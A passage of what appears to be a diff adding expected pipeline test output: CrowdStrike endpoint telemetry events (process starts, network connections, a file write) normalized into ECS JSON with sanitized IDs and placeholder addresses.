+                "id": "ffffffff8be84591864008eb2e484920",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff8be84591864008eb2e484920",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "args": [
+                    "xpcproxy",
+                    "com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000"
+                ],
+                "args_count": 2,
+                "command_line": "xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000",
+                "entity_id": "363276350115996101",
+                "executable": "/usr/libexec/xpcproxy",
+                "hash": {
+                    "md5": "88922d50263b059696c2af5a99906562",
+                    "sha256": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6"
+                },
+                "name": "xpcproxy",
+                "parent": {
+                    "entity_id": "362213307092004097",
+                    "name": "launchd"
+                },
+                "pgid": 362213307092004097,
+                "pid": 56254,
+                "real_user": {
+                    "id": "0"
+                },
+                "start": "2021-07-07T17:05:02.233Z"
+            },
+            "related": {
+                "hash": [
+                    "88922d50263b059696c2af5a99906562",
+                    "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6",
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "0"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "0"
+                    }
+                },
+                "group": {
+                    "id": "0"
+                },
+                "id": "0"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:05.511Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1701000200",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "17307488247882",
+                "ContextTimeStamp": "2021-07-07T17:05:04.982Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "0.0.0.0"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5",
+                "name": "NetworkReceiveAcceptIP4LinV5"
+            },
+            "destination": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 39920
+            },
+            "device": {
+                "id": "ffffffff5a2e420c99f6b6d3a5d9de9b"
+            },
+            "event": {
+                "action": "NetworkReceiveAcceptIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:05:05.511Z",
+                "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5|ffffffff5a2e420c99f6b6d3a5d9de9b|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkReceiveAcceptIP4\",\"ContextTimeStamp\":\"1625677504.982\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"17307488247882\",\"RemotePort\":\"53\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"39920\",\"Entitlements\":\"15\",\"name\":\"NetworkReceiveAcceptIP4LinV5\",\"id\":\"ffffffff-1111-11eb-9d7c-02e8a46f51a5\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff5a2e420c99f6b6d3a5d9de9b\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1625677505511\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "allowed",
+                    "access",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffff5a2e420c99f6b6d3a5d9de9b",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "NetworkReceiveAcceptIP4",
+            "network": {
+                "community_id": "1:urvmigA14TUbvxTimPg744QEiSA=",
+                "direction": "inbound",
+                "iana_number": "17",
+                "transport": "udp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff5a2e420c99f6b6d3a5d9de9b",
+                "version": "1007.8.0011308.1"
+            },
+            "process": {
+                "entity_id": "17307488247882"
+            },
+            "related": {
+                "hash": [
+                    "1701000200"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0.0.0.0"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 53
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:22.009Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "362579458925546303",
+                "ContextTimeStamp": "2021-07-07T17:05:21.866Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "67.43.156.14"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-81d4-0282ad9ac82d",
+                "name": "RawBindIP4MacV10"
+            },
+            "destination": {
+                "address": "0.0.0.0",
+                "ip": "0.0.0.0",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffff01fc49949cf06bf0bce3c010"
+            },
+            "event": {
+                "action": "RawBindIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:05:22.009Z",
+                "id": "ffffffff-1111-11eb-81d4-0282ad9ac82d|ffffffff01fc49949cf06bf0bce3c010|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"RawBindIP4\",\"ContextTimeStamp\":\"1625677521.866\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"362579458925546303\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"53\",\"Entitlements\":\"15\",\"name\":\"RawBindIP4MacV10\",\"id\":\"ffffffff-1111-11eb-81d4-0282ad9ac82d\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff01fc49949cf06bf0bce3c010\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677522009\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffff01fc49949cf06bf0bce3c010",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "RawBindIP4",
+            "network": {
+                "direction": "unknown",
+                "iana_number": "17",
+                "transport": "udp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff01fc49949cf06bf0bce3c010",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "362579458925546303"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0.0.0.0"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 53
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:24.048Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "364783686797112486",
+                "ContextTimeStamp": "2021-07-07T17:05:23.901Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "0:0:0:0:0:0:0:0"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-97c6-02fd02aca859",
+                "name": "NetworkConnectIP6MacV10"
+            },
+            "destination": {
+                "address": "127.0.0.1",
+                "ip": "127.0.0.1",
+                "port": 50626
+            },
+            "device": {
+                "id": "ffffffff083845f68a7de3d95cb34361"
+            },
+            "event": {
+                "action": "NetworkConnectIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:05:24.048Z",
+                "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffff083845f68a7de3d95cb34361|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1625677523.901\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemoteAddressIP4\":\"127.0.0.1\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364783686797112486\",\"RemotePort\":\"50626\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"0\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP6MacV10\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff083845f68a7de3d95cb34361\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677524048\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffff083845f68a7de3d95cb34361",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "NetworkConnectIP6",
+            "network": {
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff083845f68a7de3d95cb34361",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364783686797112486"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0:0:0:0:0:0:0:0",
+                    "127.0.0.1"
+                ]
+            },
+            "source": {
+                "address": "0:0:0:0:0:0:0:0",
+                "ip": "0:0:0:0:0:0:0:0",
+                "port": 0
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:35.482Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1284133626",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "MD5HashData": "29037cef466fa57f03bd1b2a092c47a4",
+                "RGID": "119",
+                "RUID": "114",
+                "SHA256HashData": "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112",
+                "SVGID": "119",
+                "SVUID": "114",
+                "SessionProcessId": "38911772846634",
+                "SourceProcessId": "38911774195823",
+                "SourceThreadId": "0",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-bad4-02690d039c6b",
+                "name": "ProcessRollup2LinV6"
+            },
+            "device": {
+                "id": "ffffffffcf45409f87ed463b40c368ec"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2021-07-07T17:05:35.482Z",
+                "id": "ffffffff-1111-11eb-bad4-02690d039c6b|ffffffffcf45409f87ed463b40c368ec|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"ParentProcessId\":\"38911774195823\",\"SourceProcessId\":\"38911774195823\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"38911772846634\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1625677535.102\",\"SVUID\":\"114\",\"ParentBaseFileName\":\"bash\",\"id\":\"ffffffff-1111-11eb-bad4-02690d039c6b\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677535482\",\"ProcessGroupId\":\"9277112078\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"73249\",\"GID\":\"119\",\"ConfigStateHash\":\"1284133626\",\"SVGID\":\"119\",\"MD5HashData\":\"29037cef466fa57f03bd1b2a092c47a4\",\"SHA256HashData\":\"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112\",\"ConfigBuild\":\"1007.8.0010912.1\",\"UID\":\"114\",\"CommandLine\":\"pgbackrest --stanza\\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG\",\"TargetProcessId\":\"38911778380590\",\"ImageFileName\":\"/usr/bin/pgbackrest\",\"RGID\":\"119\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2LinV6\",\"RUID\":\"114\",\"ProcessStartTime\":\"1625677535.068\",\"aid\":\"ffffffffcf45409f87ed463b40c368ec\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "group": {
+                "Ext": {
+                    "real": {
+                        "id": "119"
+                    }
+                },
+                "id": "119"
+            },
+            "host": {
+                "id": "ffffffffcf45409f87ed463b40c368ec",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffcf45409f87ed463b40c368ec",
+                "version": "1007.8.0010912.1"
+            },
+            "process": {
+                "args": [
+                    "pgbackrest",
+                    "--stanza=main",
+                    "archive-get",
+                    "000000020004D51F0000009F",
+                    "pg_wal/RECOVERYXLOG"
+                ],
+                "args_count": 5,
+                "command_line": "pgbackrest --stanza=main archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG",
+                "end": "2021-07-07T17:05:35.102Z",
+                "entity_id": "38911778380590",
+                "executable": "/usr/bin/pgbackrest",
+                "group": {
+                    "id": "119"
+                },
+                "group_leader": {
+                    "entity_id": "9277112078"
+                },
+                "hash": {
+                    "md5": "29037cef466fa57f03bd1b2a092c47a4",
+                    "sha256": "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112"
+                },
+                "name": "pgbackrest",
+                "parent": {
+                    "entity_id": "38911774195823",
+                    "name": "bash"
+                },
+                "pgid": 9277112078,
+                "pid": 73249,
+                "real_group": {
+                    "id": "119"
+                },
+                "real_user": {
+                    "id": "114"
+                },
+                "start": "2021-07-07T17:05:35.068Z",
+                "uptime": 0
+            },
+            "related": {
+                "hash": [
+                    "29037cef466fa57f03bd1b2a092c47a4",
+                    "a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112",
+                    "1284133626"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "114"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "Ext": {
+                    "real": {
+                        "id": "114"
+                    }
+                },
+                "group": {
+                    "id": "119"
+                },
+                "id": "114"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:03.947Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1701000200",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "17307455014463",
+                "ContextTimeStamp": "2021-07-07T17:05:03.713Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "0:0:0:0:0:0:0:1"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5",
+                "name": "NetworkConnectIP6LinV5"
+            },
+            "destination": {
+                "address": "0:0:0:0:0:0:0:1",
+                "ip": "0:0:0:0:0:0:0:1",
+                "port": 0
+            },
+            "device": {
+                "id": "ffffffff5a2e420c99f6b6d3a5d9de9b"
+            },
+            "event": {
+                "action": "NetworkConnectIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:05:03.947Z",
+                "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5|ffffffff5a2e420c99f6b6d3a5d9de9b|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"NetworkConnectIP6\",\"ContextTimeStamp\":\"1625677503.713\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"17307455014463\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"41952\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP6LinV5\",\"id\":\"ffffffff-1111-11eb-9d7c-02e8a46f51a5\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff5a2e420c99f6b6d3a5d9de9b\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677503947\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffff5a2e420c99f6b6d3a5d9de9b",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "NetworkConnectIP6",
+            "network": {
+                "direction": "outbound",
+                "iana_number": "17",
+                "transport": "udp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff5a2e420c99f6b6d3a5d9de9b",
+                "version": "1007.8.0011308.1"
+            },
+            "process": {
+                "entity_id": "17307455014463"
+            },
+            "related": {
+                "hash": [
+                    "1701000200"
+                ],
+                "ip": [
+                    "67.43.156.14",
+                    "0:0:0:0:0:0:0:1"
+                ]
+            },
+            "source": {
+                "address": "0:0:0:0:0:0:0:1",
+                "ip": "0:0:0:0:0:0:0:1",
+                "port": 41952
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:21.081Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "365044948432500700",
+                "ContextTimeStamp": "2021-07-07T17:05:20.973Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8ad1-02cfdadef55f",
+                "name": "OoxmlFileWrittenMacV1"
+            },
+            "device": {
+                "id": "ffffffff20bd481a98a3d1f6191047ff"
+            },
+            "event": {
+                "action": "OoxmlFileWritten",
+                "category": [
+                    "file"
+                ],
+                "created": "2021-07-07T17:05:21.081Z",
+                "id": "ffffffff-1111-11eb-8ad1-02cfdadef55f|ffffffff20bd481a98a3d1f6191047ff|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"OoxmlFileWritten\",\"ContextTimeStamp\":\"1625677520.973\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365044948432500700\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"0500000100000000000000000000000021b0260000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"OoxmlFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-8ad1-02cfdadef55f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff20bd481a98a3d1f6191047ff\",\"timestamp\":\"1625677521081\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44",
+                "inode": "0500000100000000000000000000000021b0260000000000",
+                "name": "432508",
+                "path": "/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508",
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff20bd481a98a3d1f6191047ff",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "OoxmlFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff20bd481a98a3d1f6191047ff",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "365044948432500700",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:30.841Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3469235958",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "12227094573885",
+                "ContextTimeStamp": "2021-07-07T17:05:30.308Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "67.43.156.14"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b727-028bbe41f38d",
+                "name": "NetworkConnectIP4LinV5"
+            },
+            "destination": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 80
+            },
+            "device": {
+                "id": "ffffffffbd064538b214ab0dce8e82c3"
+            },
+            "event": {
+                "action": "NetworkConnectIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:05:30.841Z",
+                "id": "ffffffff-1111-11eb-b727-028bbe41f38d|ffffffffbd064538b214ab0dce8e82c3|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1625677530.308\",\"ConfigStateHash\":\"3469235958\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"12227094573885\",\"RemotePort\":\"80\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"59926\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP4LinV5\",\"id\":\"ffffffff-1111-11eb-b727-028bbe41f38d\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffffbd064538b214ab0dce8e82c3\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677530841\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffffbd064538b214ab0dce8e82c3",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "NetworkConnectIP4",
+            "network": {
+                "community_id": "1:XUmTKB40anItSVy47MPGAZ+mJWM=",
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffbd064538b214ab0dce8e82c3",
+                "version": "1007.8.0011308.1"
+            },
+            "process": {
+                "entity_id": "12227094573885"
+            },
+            "related": {
+                "hash": [
+                    "3469235958"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "67.43.156.14"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14",
+                "port": 59926
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:53.974Z",
+            "crowdstrike": {
+                "ChannelDiffStatus": "1",
+                "ChannelId": "12",
+                "ChannelVersion": "0",
+                "ChannelVersionRequired": "0",
+                "ConfigStateHash": "1156120155",
+                "ErrorCode": "0",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b7e0-02332cdcc16d",
+                "name": "ChannelVersionRequiredLinV2"
+            },
+            "device": {
+                "id": "ffffffff25b14d4aa96de99e24bad2fa"
+            },
+            "event": {
+                "action": "ChannelVersionRequired",
+                "created": "2021-07-07T17:04:53.974Z",
+                "id": "ffffffff-1111-11eb-b7e0-02332cdcc16d|ffffffff25b14d4aa96de99e24bad2fa|ffffffff15754bcfb5f9152ec7ac90ac",
+                "original": "{\"ChannelVersion\":\"0\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"1156120155\",\"ChannelDiffStatus\":\"1\",\"aip\":\"67.43.156.14\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"12\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"ChannelVersionRequiredLinV2\",\"id\":\"ffffffff-1111-11eb-b7e0-02332cdcc16d\",\"ErrorCode\":\"0\",\"aid\":\"ffffffff25b14d4aa96de99e24bad2fa\",\"timestamp\":\"1625677493974\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
+            },
+            "host": {
+                "id": "ffffffff25b14d4aa96de99e24bad2fa",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ChannelVersionRequired",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff25b14d4aa96de99e24bad2fa",
+                "version": "1007.8.0011611.1"
+            },
+            "related": {
+                "hash": [
+                    "1156120155"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:21.218Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1156120155",
+                "InterfaceAlias": "vethdeb0243",
+                "InterfaceIndex": 3736,
+                "InterfaceType": "1",
+                "LocalAddressIP6": [
+                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
+                ],
+                "PhysicalAddressLength": 6,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-92d2-0286f570f8e1",
+                "name": "LocalIpAddressIP6LinV1"
+            },
+            "device": {
+                "id": "ffffffffc9114c1898e79604708955a6"
+            },
+            "event": {
+                "action": "LocalIpAddressIP6",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
